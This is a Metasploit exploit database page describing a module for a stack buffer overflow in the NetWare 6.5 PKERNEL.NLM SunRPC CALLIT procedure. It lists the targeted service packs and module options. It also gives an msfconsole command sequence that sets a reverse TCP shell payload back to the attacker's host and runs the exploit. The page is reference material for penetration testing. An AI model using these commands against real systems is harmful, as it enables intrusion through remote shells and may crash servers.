NetWare 6.5 SunRPC Portmapper CALLIT Stack Buffer Overflow | Metasploit Exploit Database (DB)

NetWare 6.5 SunRPC Portmapper CALLIT Stack Buffer Overflow

This module exploits a stack buffer overflow in the NetWare PKERNEL.NLM driver's CALLIT procedure. PKERNEL.NLM is installed by default on all NetWare servers to support NFS. The PKERNEL.NLM module runs in kernel mode so a failed exploit attempt can cause the operating system to reboot.

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Exploit Rank

  • Good

Exploit Authors

  • pahtzo < >

Vulnerability References


Exploit Targets

  • 0 - NetWare 6.5 SP2
  • 1 - NetWare 6.5 SP3
  • 2 - NetWare 6.5 SP4
  • 3 - NetWare 6.5 SP5
  • 4 - NetWare 6.5 SP6
  • 5 - NetWare 6.5 SP7
  • 6 - NetWare 6.5 SP8

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/netware/sunrpc/pkernel_callit
msf exploit(pkernel_callit) > show payloads
msf exploit(pkernel_callit) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(pkernel_callit) > set LHOST [MY IP ADDRESS]
msf exploit(pkernel_callit) > set RHOST [TARGET IP]
msf exploit(pkernel_callit) > show targets
msf exploit(pkernel_callit) > set TARGET [TARGET ID]
msf exploit(pkernel_callit) > exploit


Exploit Module Options

RHOST The target address
RPORT The target port (default: 111)
CHOST The local client address
CPORT The local client port
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session